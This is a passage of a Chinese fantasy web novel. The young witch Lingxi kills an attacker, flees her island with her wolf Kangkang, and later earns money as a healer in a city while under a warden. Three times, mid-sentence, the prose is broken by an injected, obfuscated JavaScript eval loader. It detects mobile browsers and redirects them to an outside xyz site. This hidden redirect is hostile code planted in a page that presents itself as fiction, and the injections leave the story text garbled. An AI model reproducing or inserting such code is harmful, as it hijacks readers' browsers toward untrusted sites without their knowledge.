令杰清了清嗓子,眼神上下打量灵汐:“我就是想交个朋友,明天休沐日我们几个同学约了下海玩,你也一起来吧!” “你约了哪些同学?都有谁一起去?我也能去吗?”晗林见缝插针道。 令杰面色不耐:“关你屁事?我又没请你!” “不好意思,”灵汐冷淡拒绝,“我不会水,不参加海上活动。” “什么?你不会水?”晗林率先反应过来。 “嗯。”灵汐拉着晗林快步离开,丝毫不管身后喊着“喂喂喂”的令杰,加速朝前走去。 晗林步履不停,嘴上也停不下来:“所以水上实践课你也不参加是因为这个?海渊大醮你也不来!还有还有……” “嗯嗯嗯。”灵汐敷衍应对。 直到再也看不见令杰的身影,两人的脚步慢了下来,灵汐这才问道:“他是什么人?怎么这么……没礼貌?” 晗林嘿嘿一声,眉飞色舞道:“你算是问对人了!他叫令杰,他娘风意是风氏一族的现任族长,也是岛上长老之一,听说从少时起就是岛上公认的天才,大祭司年事已高,风意原本也是下一任大祭司的头号候选人。” “原本?”灵汐敏锐地抓到了重点用词。 “对,”晗林飞扬的神色沉静下来,“自从令杰出生之后,风意就很少出来了,一直在闭关,三年五年地闭,连族中事务和长老事务都由她丈夫代理了……现在嘛,大家最看好的下任大祭司候选人是氿黎一族的族长,氿黎舞阳。” 巫师并不像人族那样有宗族传统,大部分巫师并无氏族一说,但自古以来天示境大巫自成一宗,其后裔及仰慕者因大巫而凝聚成一族,历代族长以大巫之名为氏作为传承。 雾隐岛上的巫师都是从大陆上迁居而来,因此聚集了来自不同部落、不同族群的巫师,岛上几股势力相互竞争也相互制衡。 “不过风氏一族的势力还是不容小觑的,风意名噪一时,拥护者也还很多,所以令杰惯会仗势欺人,跋扈得很!” 听完这雾隐岛势力概况,灵汐更是想不通:“我们两个从无交集,他为什么突然邀请我?” “虽然风意很少出关,但听说她对令杰要求很严格,所以他一直很在意成绩。你没来之前,他的成绩基本能稳定在前三甲,”晗林表情莫测地看着灵汐,“你来之后,他就经常被挤出前三了,所以呢,他肯定嫉恨上你了。” “又不是只有我考得比他好,为什么针对我?”灵汐着实没懂。 晗林面向灵汐踮着脚倒退着走,煞有其事地分析:“大家都一起上课一起练习,只有你既不上课又不参加任何活动,平时也不和同学一起玩,我和你走近三个月,这次就拿到魁首了,很多人都觉得你一定有修炼秘法! “他找你肯定也是眼馋秘法,你要小心一点,不要一个人跟他走!以前有一年海渊大醮,他想要的奖品差点被另一个巫师拿走,结果他用家里给的法器作弊,将那个巫师差点烧成重伤!” 竟然还是个危险分子,灵汐有些担心晗林:“那你不怕他吗?刚才那么呛他?” 晗林停下脚步,朝着灵汐眨眨眼:“你不知道吗?我家是氿黎一族的,我不怕得罪他。” . 饭后,灵汐在椰林中找到流云时,伏玉正提着一篓鲜鱼投喂流云,流云一口一条,吃得十分欢快。 灵汐走过去打招呼:“伏玉叔叔,你回来啦!” “嗯,”伏玉将最后两条鱼一同掷给流云,这才放下鱼篓,“走吧,我送你回去。” 灵汐没有动,她知道伏玉想见的人不是她:“伏玉叔叔,师尊还没有回来哦。” 伏玉沉默片刻,眉头皱在一起:“她有联系过你吗?” “还是四个月前,回过我那一次,让我在岛上乖乖等着,她办完事就回来。后来就……没再回过信了,可能是在忙吧……” 灵汐一直没有告诉伏玉司月离开是为了司空钰,她直觉伏玉知道了可能会生气。 “嗯,你再试试联系她吧,她回信了就告诉我。”伏玉深吸一口气,又缓缓将心头忧虑随浊气一同吐出,“过来吧,我送你。” . 回到无尽夏时,小院门口躺了一只被咬断脖子的山鸡,红绿相间的羽毛有些杂乱,显然生前经历过一番垂死挣扎。 “康康!”灵汐朝四周喊了喊小狼的名字,很快,一旁树丛中便钻出一个活蹦乱跳的身影。 康康一头扎进灵汐怀中,狼头顶着灵汐的手掌拱来拱去地撒娇,嘴里“嘤嘤嘤”个不停。 康康已经长大了不少,身体早已恢复健康,灵汐两个月前便开始教她回归狼群。 但康康仍时不时跑回来看望灵汐,还总是带着各种礼物出现,有时是她捕到的猎物,有时是一朵艳丽的山花。 “你又跑回来了!”灵汐坐倒在地上,和康康闹成一团,“好乖呀,又给我带礼物!你今天吃饭了没?” 一番嬉闹过后,灵汐将康康领回院中,给她喂了清水,又将伏玉送的糕点分给康康两块。 等康康吃饱喝足,才千叮咛万嘱咐:“你回到狼群后,要和同伴好好相处啊,不要总往我这里跑!不过要是有同伴欺负你,或者生病受伤了,你可以来找我……” 康康趴在灵汐脚边“嗷呜嗷呜”叫了两声,灵汐听懂了——“我想你了,都好久没见了。” 其实也没多久,五天前她还回来过。 不过灵汐没再纠正小狼,只是上手给她梳了梳毛,康康享受地眼睛眯成了两条缝。 . 两年后,灵汐十四岁。 司月一直没有回来,也没有回信。 灵汐也无数次占卜师尊的位置,但可能是师尊境界高深、有意隐瞒行踪,自己的卜术怎么都寻不到师尊的踪迹。 漫长的等待中灵汐耐心渐消、忧心疯长,开始往师尊给的万象袋中一件件装行李,今天装些衣服,明天装些药草和种子…… 灵汐暗下决心,等万事备好,自己就出发去大陆寻找师尊。 不过她此前从未去过大陆,不知道会不会迷路。 伏玉倒是去过很多次,她想向伏玉求助,他应该会愿意和自己一起去寻找师尊吧。 在灵汐出发之前,雾隐岛三年一度的祭神大典率先到来。 祭神大典需要选出五位年轻巫师作为侍神巫祝,分别完成五项试炼,获得五种天材地宝作为祭品献给天神,然后五位巫师要完成祭祷之舞,以求天降神谕,指引未来。 晗林被选为五位侍神巫女之一,负责水系试炼。 “你会来参加祭典吗?祭典可好玩了,很热闹的!我会在玄鸟礁那片海域,你来的话可以去那儿看我。”看着越来越心事重重的灵汐,晗林很想让她来参加祭典活动,希望热闹的氛围也能带动她的心情变好些。 “我会去的,不过我不能看晚上的祭祷之舞了,流云在晚上的视力不太好,我得在日落前回去。”灵汐看得出来晗林的用意,没有拒绝她的好意。 但晗林看得出来,灵汐的兴致并不高,于是试探问道:“还在担心你师尊吗?唉呀,你师尊是无忧境,肯定不会有事的!她可能……带孩子带久了,就想自己出去玩玩嘛!等她玩够了就回来了!” “嗯。”灵汐含糊应道,暂时没有说出自己的寻人大计。 . 祭典当天,灵汐挤在熙熙攘攘的人群中,观望晗林的试炼过程。 引浪、采珠、旋涡、投珠……一系列流程后,在浪潮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305755|182826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻涌间,晗林凝炼出一颗一掌大的熠熠生辉的明珠。 晗林身着华服、脸上涂满颜料、双手捧着明珠,在五灵衔驾上被众人簇拥着向中央祭坛而去,一步一舞登上祭坛,与其他四位巫女相聚,共同踏起祝祷舞步。 周围众巫随着鼓点欢呼同歌,安静观看的灵汐显得有些格格不入。 天色渐晚,灵汐默默抬起手朝晗林挥了挥,不管她有没有看到,灵汐照常回家。 远离喧嚣的人群,载歌载舞之声也渐渐消逝,行至寂静无人之地,灵汐才听到身后的脚步声。 “谁?出来!” 转角处的树丛中走出四个身影,为首的正是那风氏一族的巫觋令杰。 “你又要干嘛?”灵汐不耐烦道。 这两年中,令杰三不五时就来邀约,灵汐一再拒绝,但令杰颇有百折不挠之势。 “灵汐同学,怎么一个人出来了?你也觉得祭典无聊吗?”令杰带着另外三个巫觋呈半包围之势朝灵汐压迫而来,“无聊的话不如我们一起找些乐子?” 灵汐在背后掐起防御手诀,但面上不动声色道:“听说你考核考得太烂,被你母亲罚过禁足了?你母亲知道你出来找乐子吗?” “呵,我这不是想到办法了嘛!”令杰越走越近,灵汐这才看清他眼下的两团乌青,像是三天没睡熬出来的。 灵汐嘴上不落下风:“哦?从末位前五到正数前五的办法吗?” 令杰缓缓露出一个阴冷笑容:“我是来向你提亲的。” “哈?”灵汐怎么也没想明白这其中的逻辑,“你脑子被蛊虫吃了?我早就说过了,我没什么秘法,你不如去好好修一下感应灵气的基础课。” “学堂里你术法学得最好,但无尽夏那位大巫失联已久,你成绩再好也是无依无靠。我家是风祝大巫之后,在岛上也有长老之位,你我结合,两全其美啊!”令杰根本没听灵汐说话,手中象牙色鬼工球被抛起又接住、接住又抛起。 “我对你没兴趣。”灵汐警惕地向后退去。 “喂,风氏大公子看上你,那是你的荣幸!” “就是,别不知好歹!” …… 就在令杰带来的三个巫觋起哄时,鬼工球被催动,镂空雕花的层层球体转动,七层花孔对齐,露出最里层一团幽幽红光—— 九处花孔齐齐爆出无数血红丝线,朝灵汐射去。 灵汐唤出风盾,凝出冰刃斩向飞来的红丝线,不知这鬼工球是何法器,吐出的丝线竟怎么都斩不断,冰刃也被裹成线团,不见锋光。 灵汐又召火灵,燃起一堵焰墙挡住那诡异丝线,转身欲逃,那丝线竟毫发无伤地冲出熊熊火焰,千丝万缕似无形之物穿过风盾,又以有形之力牢牢缚住灵汐。 灵汐挣不脱源源不断的血红丝线,被一股蛮力拖向一间废屋。 挣扎当中时间失去了客观刻度,似是过了很久,又像是一切发生在眨眼之间。 恍惚中,尖锐耳鸣响彻头颅,灵汐视野中一片通红,什么都看不清,大口呼吸间,腥甜铁锈味呛得人想吐。 灵汐努力撑起脱力的身体,双手用力擦拭双眼,一汩汩液体顺着指缝流下—— 灵汐不断眨眼,发现那一片通红不是幻觉,而是大片大片的血水。 抬头望去,屋顶、地板、四周墙壁,到处都是触目惊心的红。 令杰的三个跟班瘫倒在地上,被血水浇了满身,惊恐万分地瞪视着面前的恐怖场景,见灵汐目光瞥来,哆哆嗦嗦、手脚并用地向屋外爬去,嘴里似乎还在喊着什么,但长久的耳鸣阻隔了灵汐的听力。 三个巫觋一个接一个地逃出门外,灵汐都呆滞在原地没有任何反应,直到看到身前的红色鬼工球,花孔探出的无数丝线浮在血水中,串联起数不清的细碎骨肉。 耳鸣渐渐褪去,神志才渐渐苏醒。 灵汐盯着那血色鬼工球看了又看,上面的繁复花纹似乎有些模糊,捡起来拿近一瞧,原是上面糊了一层碎肉。 “当!”灵汐一个激灵将鬼工球甩到墙上,随即撕开身上的残余丝线,起身往外跑去。 她似乎才想起来,是自己把令杰炸碎了。 14. 前尘4 回无尽夏的路上,灵汐挤出的所有理智只够支撑她向伏玉发出一条紧急求助信。 流云被浓郁的血腥味笼罩,啼叫着问灵汐发生了什么,灵汐只是沉默着不知如何作答。 猎猎风声从耳边呼啸而过,云海翻滚似波涛汹涌,灵汐的思绪也被疾风吹散,咚咚咚的心跳声中唯有一点念头清晰矗立在脑海:闯祸了。 . 海浪带走大片猩红血气,温凉海水安抚了狂跳不止的心脏,灵汐从水中回到沙滩时,正赶上伏玉驾着另一只大鸢赶到无尽夏。 还没等大鸢停稳,伏玉就跳下来直奔湿漉漉的灵汐:“发生什么事了?” 一段时间未见,伏玉看上去竟沧桑了不少,青黑胡茬从下巴蔓延至耳际。 灵汐直勾勾盯着伏玉焦急的双眼,声线有些不稳:“我杀了令杰。” 伏玉脸色立刻沉了下来:“什么?!” “是他先袭击我的!我只是,他那个法器我不知道……我有些慌了,我也不记得……我只想着让他去死让他去死让他去死……我也不知道……等,等我,我反应过来时,他已经死了……”灵汐紧张地语无伦次。 其实很想说自己不是故意的,这算失手杀人吗?但好像也是自己有意杀他的,但是对方先动手的,但…… 灵汐脑中乱哄哄的,如今只能寄希望于伏玉,希望他能告诉自己该怎么做。 “令杰,是风意她儿子吗?你怎么会……在哪儿杀的?有人看到吗?”伏玉着急地晃着灵汐的双肩。 “就是他!”灵汐点点头,正欲一一回答,忽如被施了定身咒般顿住不动。 伏玉一瞬都等不及,又是用力一晃:“回答我!” 灵汐转了转眼珠,惶然道:“有人看到了!” “谁?” “令杰的几个小跟班。” 伏玉扶着额头如一头困兽在笼中来回踱步,时不时握着拳头用力捶头,不多时,仿佛真的砸出了一点灵光:“你有没有尝试着救救他?我们可以说是防卫时失了手,救治未果……没救也能这么说!” 灵汐面露为难:“他……都碎成肉渣了,没法救了。” 伏玉错愕怔住,似乎在消化这句话是什么意思,几息过后才大怒道:“你到底做了什么!” 见灵汐一脸懵怔,他又转头薅起了头发。 洁癖的流云一点点清洗掉灵汐沾在她身上的血迹,待每根羽毛都洁白如新时,才终于从海中走上沙滩,啾啾叫着来关心灵汐。 灵汐还未回应,就被伏玉猛地回身抓起,向岛中飞快走去:“马上去联系司月,不管你用什么办法,马上联系到司月!除了她没人能救你!她回来就还有转圜的余地,否则风氏一族一定会要了你的命!” “我也联系不上师尊啊!” “你们师徒之间有什么秘密通信方式、紧急暗号,现在马上就用!她难道还会对你见死不救吗?” 灵汐用力甩开手臂上的钳制,拿出通信竹,唤来一片草叶,手指在叶刃上一划便浸出几滴血珠,灵汐就着鲜血在通信竹上写下“救命”二字。 二人静静看着漂浮在空中的竹片,等了又等,不见回信。 流云跟了过来,呜哇呜哇地说雾隐岛方向有人过来了。 两人对视一眼,灵汐仿佛下了某种决心般,拔腿跑开。 跑进居住的院子,越过流水雾纱,跨过花丛曲径,直奔吊脚竹楼,在床边抽屉中翻出一个长宽各一掌有余的墨绿色万象袋——里面装着早前准备去大陆找师尊时收拾的行李,又随手往里装了几样东西,灵汐噔噔噔地跑下楼。 伏玉在院门口拦住风风火火的灵汐:“岛上结界他们一时破不开,你还有没有其他办法联系司月?” 灵汐神色坚定道:“我要自己去找师尊!” 伏玉像被烫了舌头般“嘶”出声,咬着牙道:“你知道她在哪儿?” “不知道,但是师尊跟我说过她以前在一个叫九幽山的地方有故居,我去那儿找她。” 伏玉眼中喷出怒火:“你怎么从来没和我说过?” “……我也不能确定她一定在那儿……”灵汐有些心虚。 伏玉双手搓了搓脸,却怎么都抚不平眉心沟壑,一手打着圈儿地摸着脸上的青色胡茬,看着只到自己胸口高的灵汐,理智告诉他不能让一个从没出过岛的小女孩自己去大陆找人。 “你知道九幽山在哪儿吗?” “不知道……你知道吗?” 伏玉又纠结地团团转,对着自己的头脸又搓又捶又揉又揪。 灵汐感应到有人撞上无尽夏外层结界,拉住来回踱步的伏玉着急道:“伏玉叔叔,他们来了!如果他们带人把无尽夏围堵起来,我就再也出不去了!没时间纠结了,你要不要和我一起去找师尊?” 伏玉放下双手,通红的眼睛吓了灵汐一跳。 伏玉表情凝重地看着灵汐沉默不语,灵汐只能抓住他的衣角催促道:“伏玉叔叔!你肯定对大陆很熟,你带我去一定能找到!你去不去?” 伏玉看了眼雾隐岛来人的方向,一个深呼吸后,迅速从腰间解下一个灰色万象袋,从中拿出一卷地图,拿朱砂笔圈了个圈后,教给灵汐:“九幽山大概在这个方向,但具体位置我也不知道。” 灵汐明白了他的言外之意,一脸委屈地看着伏玉:“你不和我一起去吗?” 伏玉将地图卷起来塞进灵汐怀中,沉声道:“我们两个一起走,他们一定会在后面紧追不放,躲不过去的。我先出面和他们交涉,装作你还躲在岛上。你从西岸悄悄走,绕个远去大陆,走海上,不要骑流云。” 灵汐只思考了一瞬,便答应道:“好,我知道了!” 灵汐转身欲走,又被伏玉拉住。 “有什么消息就告诉我!不行,以防他们监视我,你给我写信时不要暴露任何信息,如果我回信说‘流云最近很开心’,才说明可以安全通信。还有……小心行事,注意安全!” 灵汐顺着伏玉的叮嘱一一点头,伏玉才松开手下捏着的肩膀。 “伏玉叔叔,你也保重,再见!”灵汐毫不犹豫地转身奔向林中。 看着灵汐离开的背影,伏玉胸前一阵剧烈起伏,用力抹了抹脸,才红着眼睛朝火把聚集的海岸走去。 . 高大赤鹿载着灵汐穿过广阔森林,又翻过一座矮山,从山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305756|182826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坡往下眺望,是一处黑漆漆的无人海岸。 灵汐准备在身后竹林就地取材做个竹筏,刚把一排竹子整整齐齐砍断,就见一对闪着绿光的兽瞳在黑暗中朝自己快速靠近。 漂浮的夜明珠往前一照,一个矫健身影“嗷呜”叫着从林中窜出,朝灵汐扑来。 灵汐接住康康,随着惯性往后倒去。 康康如今已经成年,身长近三尺,肩高刚过灵汐膝盖,虽然算不上大型猛兽,但灰色短毛下精悍的肌肉线条清晰可见,这一扑着实力气不小,幸亏只是跌在松软草丛上,并无痛感袭来。 已经好几个月没见了,一人一狼彼此想念得紧。 灵汐对着康康又抓又揉,康康呼哧呼哧喘着粗气在灵汐身上闻来闻去,似是闻到了灵汐身上残留的血腥味,担心地呜呜叫着。 灵汐将康康抱在怀中,亲昵地抚着她的脊背为她施术降温,又召来泉水喂给康康。 “你追了我多久了,是不是很累?快歇歇快歇歇……不用担心,我没有受伤,这不是我的血。不过我要离开这里了,要去很远很远的地方,你以后不要再去小院里找我了,好好在山里待着,不要离开狼群了,等我哪天回来了会告诉你的……” 一边和康康道别,一边控制着藤蔓将新鲜竹竿绑成一排,竹筏成型时,灵汐捧着康康的脸再次叮嘱:“我要走了,记住了,别再下山找我了!不知道我什么时候能回来,我祝福你食物充足,健康长寿!” 说完,灵汐便带着竹筏下山,奔向海岸。 康康嗷嗷叫了两声,灵汐只挥了挥手让她回狼群去。 看着灵汐渐行渐远,康康急得原地转圈,又默默盯了背影一会儿,毅然决然地一跃而下跟上灵汐。 灵汐以为康康要送她离开,嘴上说着“别送了、快回去”,心里其实有些高兴康康如此舍不得她。 下了山后康康甚至跑在灵汐前面到达海边,回过头来等灵汐跟上。 灵汐将竹筏铺在海浪扫过的湿沙上,一脚踩在上面固定竹筏,驱赶康康道:“回去吧!我要走了,快回去!” 康康嗷嗷了两声,不但不退,还走上前来也把一只脚放在竹筏上。 灵汐明白她的意思了,她想跟自己走。 “不行哦,康康,我不能带你去,我也不知道要去的地方是什么环境,可能会不适合你!而且我是去逃亡的,过不了多久应该就会有人发现我跑了来追杀我的,太危险了,你不能跟着!” 灵汐用生灵感知仔仔细细传达了自己的话,她知道康康能听懂。 但康康哼唧了两声,随即后腿一蹬跃上竹筏,走到竹筏中央歪头看着灵汐:“走吧,你不是很急吗?” “你确定要和我走吗?不回你的族群了吗?和我走会有危险哦!到了海上就没有反悔余地了哦!”灵汐探下身子,直视着康康亮晶晶的眼睛,一字一句问道。 “嗷呜!” “好吧,那我们出发!” . 那个连月光都吝啬的晚上,一人一狼依偎在竹筏上,在浓墨般的黑暗中驶离了无尽夏。 而另一侧海岸上,越来越多的人群聚集而来,火把了照亮一方天空。 15. 进城 九幽山,扶月山庄。 灵汐居高临下地看着青竹语:“怎么,你来之前没想到会这么无聊吗?那你上赶着来,原本是想看到什么呢?” “我自荐要来,是因为我也很好奇你是怎么走到今天这个地步的。” “什么?” “你不记得我了吧?我来自雾隐岛,以前和你是同窗,虽然不同堂,但大家都知道你,来自无尽夏岛的巫师灵汐。” 灵汐难以置信地定住半晌,眯起双眼慢条斯理地问道:“我是说,什么叫‘今天这个地步’?我现在怎么了?为什么从你嘴里说出来好像显得我很可怜?” 青竹语也同样难以置信:“你现在难道很好吗?你的罪行被全族通报,如今声名狼藉、失去自由之身,你一点都不着急吗?” “啊~”灵汐若有所思地点了点头,倒是露出些许得意之色,“你是说整个巫族都知道我一个人屠了一个巫师部落吗?大家都知道我做了那么多恶事,十巫却没将我就地正法吗?那他们知道我是天示境吗?知道十巫联手也打不过我吗?知道我连监禁都没禁、现在还在享受阳光森林吗?我不介意再来一次万象同声公告天下哦。” 青竹语的脸色愈发难看,灵汐却不知不觉笑出了声:“青竹啊,你还是担心担心你自己吧!一个人跑来当监律使,我连手指都不用动就能要你的命。我要真想做点什么,你连发通信竹求助的那丁点灵气都调动不了!咱俩到底谁没自由啊?” 眼见着青竹语像只横着眉的河豚般鼓胀起前胸,灵汐及时收手:“我可不是威胁你啊,我只是说一下客观事实,帮你看清一下你的处境。” 鼓胀的前胸又像放了气的河豚般缓缓落下去,只是开口纠正道:“是青竹语。” “……难道你喜欢简称叫竹语?” “别叫简称,我们是监律使和改造犯,关系没那么亲密。” “你不是说我们是同窗吗?” “你记得?” “……完全不记得。” “我就知道。”青竹语转身就走。 灵汐只用一瞬回想了一下在雾隐岛的短暂时光,确实完全想不起“青竹语”这号人物。 . 在树上挂了两日后,又轮到灵汐准备饭菜。 灵汐在深山中找到了一株野葡萄,黑紫色的葡萄粒颗颗饱满,挨挨挤挤,令人垂涎欲滴。 灵汐摘了一篮子葡萄串准备带回去当饭吃,回程时先剥了一颗尝尝,没想到一股尖锐锋利的酸涩在口中爆开,直袭口腔鼻腔乃至整个颅腔——酸死了,呸呸呸! 灵汐唤来泉水反复漱口后,怒气冲冲地原路返回跑到葡萄枝下教葡萄做事:“天哪,你怎么会长出这么难吃的果子!虽然你在深山老林里理论上根本不会有人来吃,但是你长这么酸是不会有小动物帮你传播种子的!你所有果子都只能烂在原地!所有种子都会留在这里和你自己抢地盘!不行,这样不行的!” 灵汐从土地中召出各种灵对着葡萄枝开讲:“你长果子的时候呢,多吸收这种圆圆的、白白的灵,尽量少吃这种,看清楚了哈,这种尖尖的、红红的灵,少吃!少吃!少吃!记住了吗……” 与灵汐始终保持数尺距离的青竹语看着灵汐对着一株葡萄藤手上比比划划、嘴上念念叨叨,神色也越来越复杂。 少顷,青竹语走近灵汐,小心翼翼地开口:“你是在和葡萄藤说话吗?” “对啊!”灵汐理直气壮到脸上简直写着“这么简单的事还看不出来吗”几个大字。 青竹语提了一口气,道:“你……这种情况平时出现得多吗?” “啊?”灵汐有些不解,“野山上自由生长的野果普遍会酸一点,但酸到苦涩酸到像火烧了层皮的情况,也算少见了。” 青竹语两道眉毛间又现沟壑:“我是说,你和草木说话的情况……你,需要帮助吗?” 灵汐更加不解:“什么帮助?你有和它们沟通的更好方式吗?” “我是说,灵山上有很多巫医的。” “……你觉得我脑子有病?” 一阵诡异的沉默。 青竹语似乎一直在斟酌措辞,片刻后才缓缓开口:“我的意思是,你如果看到些……奇怪的东西,可能……找人帮忙看下,比较……” “噗哈哈哈哈……”灵汐忍俊不禁,“有没有可能,你听不到草木的声音,是因为你境界太低了?” 青竹语一副将信将疑的表情盯着灵汐:“我怎么从未听过……此等说法?” “不然为什么万象同声的主力军是草木,你没有想过这个问题吗?”灵汐用一双大眼睛盯着青竹语,这位总是板着脸的监律使脸上头一次出现了裂痕。 “草木和鸟兽一样,也能言语能沟通,建木只是放大了它们的声音。”灵汐狡黠一笑,戏谑地摇摇头,“灵山没教你吗?看来灵山上那些巫也不够敏锐啊,唉,真是日薄西山了呀!” 灵汐没有说谎,但也没说全,正常情况下草木之音微乎其微,天示境之下几乎无人能察觉。 . 灵汐倒掉酸葡萄,决定去吃一顿真正的“饭”。 回到扶月山庄,渡沙看到空手而归的灵汐十分奇怪:“你不是去找吃的了吗?” 灵汐指着身后的青竹语,忍不住笑道:“他觉得我疯了。” “我没这么说过……”青竹语试图为己正名。 渡沙向青竹语扔去一个眼刀,被灵汐挥挥手拦下:“在山上选吃的随机性太大了,我们今天去城里吃。” . 九幽山以东二十里外有座城名为宁海,濒临东海,商业发达,城市繁华。 灵汐走进城中最豪华的酒楼,叫人端上楼内所有招牌菜。 鲥鱼脍、蟹酿橙、烤羊腿、醉虾烧、十鲜酿、叫花鸡……不多时,色香俱全的各式菜色满满当当摆了一大桌。 夹起一片晶莹剔透的鱼片放入口中,滑嫩如纱,鲜香入味,时隔许久,终于又吃到了真正的饭菜! 灵汐死气沉沉的味觉当场复苏,果然还是城里吃得好哇!在山里过得那叫什么日子! 什么鸡鸭鱼羊、虾蟹参鲍,灵汐一顿吃了个撑。 饱餐过后,又上了一壶透着清冽兰香的龙井茶,鲜润爽口,唇齿留香。 灵汐在袅袅茶香间借机叙旧:“你说你来自雾隐岛,那你现在和岛上巫师还有联系吗?” “你想问谁?”青竹语放下茶盏,平静地看向灵汐。 “比如……风意?她回雾隐岛了吗?” “风意大祭司被十巫下了禁令,不会来找你麻烦。你问她干嘛?” 灵汐礼貌假笑:“关心一下仇人。”在想怎么杀她。 “你也不能去找她麻烦。” “我没想找她啊。” 看来动手时得限制一下这位监律使,事后再删掉他记忆就好了。 青竹语重新拿起茶盏,轻轻转了转杯身,送到唇边。 灵汐猝不及防开口:“那晗林呢?” 青竹语动作一滞,抬眼看向灵汐,凝视良久才开口:“你现在联系她,恐怕会让她惹上麻烦。” 灵汐微笑不语,继续喝茶。 . 吃饱喝足,灵汐叫来伙计结账,伙计拿着小算盘拨拨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“巫师赚钱最快的地方。” 青竹语十分警惕:“你要干嘛?” “去医馆啊!医馆里的人花钱最爽快了。” 两刻后,宁海城最大医馆兼最大药堂——万和堂的大门前,两巫站在马路对面,隔着来来往往的人群,仔细打量着每一个进出万和堂的人。 “你不是要去赚钱吗?怎么不去?”跟着灵汐站了半个时辰的青竹语不免疑问道。 “十两诶,你以为随便一个人就能掏出十两银子吗?当然得蹲一个富贵人家啊!”灵汐一脸质疑地看向青竹语,“你不会没来人间历练过吧?懂不懂行啊?” 青竹语不语,只目视前方轻轻抬了抬下巴,示意灵汐看那边。 一辆朱漆马车从西边赶来,四角的流苏铃铛叮当作响,油光水滑的高头大马正正停在万和堂门口,绣帘微卷,车上下来一个衣着体面、蓄着胡子的中年男子,匆匆忙忙进了万和堂。 没一会儿,男子一手提着诊箱、一手扶着一个须发花白的老翁走出来,将老翁送上马车,车夫收起轿凳,又匆匆扬鞭返程。 那老翁一看就是经验丰富的老大夫,驾着马车将老大夫请回家,只有有钱人才会做这种事。 “走!”灵汐挥手示意青竹语跟上这家人。 跟了没多久,马车驶入一方僻静巷道,停在一处朱漆大门前。 大门前有两尊圆滚滚的抱鼓门墩石,门上匾额高悬“余宅”二字。 16. 匪患·引 中年男子很快将华发老翁领进大门,但门口一左一右还站着两个家仆。 “你打算怎么……”青竹语话还没说完,灵汐就迈着坚定的步伐向余宅大门走去。 门口两个家仆仿佛梦游一般什么都看不到,二巫如入无人之境,隔着不远不近的距离跟着前面两人。 青竹语:“你控制了他们?” 灵汐瞥了一眼青竹语,什么都没说。 但不必说什么,青竹语就已明了。 灵汐的行事风格向来只求最高效率,能走捷径为什么不走?能控制意识为什么要考虑繁琐交际?能直接进为什么要浪费时间? 她自有一套自己的逻辑和原则,很多人用普世道德立场指责她,但都被她一律打为“羡慕嫉妒酸”。 而且现在灵汐心情不好,不想说话,只能给他一个眼神,他体会到什么就是什么吧。 两人很快来到后院一处房间,房间内外都候着侍女小厮,还有侍女脚步匆匆地端着一盆清水进屋、又端着一盆清水出来。 灵汐直接伸手推开一扇窗户观察屋内情形,里里外外的众人全都视若无物般忽视掉了站在窗边的两人。 屋中一位端丽妇人面色焦急地抱着一个昏昏沉沉的孩子坐在床边,一边给孩子擦汗,一边晃动双腿哄着孩子,见到大夫进来,才将孩子放到床上,让大夫去检查孩子的状况。 “李郎中,您快看看轩儿,他今日午睡突发梦魇,怎么叫都叫不醒!我让管家去请您,就这么一会儿的功夫,他就开始发热,身上冷汗直往外冒,可急死我了呀!” 灵汐远远望去,床上孩童全身瘫软,刚擦过的额头又冒出豆大的冷汗,带着哭腔的呜咽断断续续从喉咙里抖出来,合着的眼皮下能看出眼球在颤动,倒真像是被噩梦魇住了。 但若是噩梦,不该这么大的阵仗都醒不了吧。 而且,这孩子的一腿一臂上各绑了两弯竹制夹板,分明是断骨之伤的治疗方法。 李郎中闭着眼睛摸了摸孩童脉搏,又打开药箱:“夫人莫急,我来试试为令郎施针。” 李郎中刚拿出针筒,取出一根毫针,一个中等身材、锦衣华服的中年男子急匆匆冲进了房间:“夫人,轩儿怎么了?” 妇人立刻迎了上去,开口便带了哭腔:“夫君,你可回来了!轩儿突然梦魇不醒,李郎中正要给他施针呢!” 夫妇二人皆心急如焚地围到床边,挡住了灵汐的视线。 灵汐靠在窗框上看着屋内人你一言我一语地讨论着孩子的状况,不像来赚钱的,倒像来看戏的。 青竹语:“你不去吗?” 灵汐连眼神都未曾转动,依旧悄然无声地倚在窗户上。何时出手,她有自己的节奏。 李郎中拿着毫针先后刺内关、涌泉、神门、厉兑等几处穴位,静待片刻,孩子却没有醒转的迹象。 余氏夫妇眼看着越来越心焦,灵汐突然开口:“能让我试试吗?” 屋中众人这才注意到窗外的两个陌生人,不出所料全都大吃一惊。 华衣男子将妻子护在身后:“你是?” 那被灵汐跟了一路的管家急忙挡在主家身前:“哎?你们是何人?怎么进来的?” 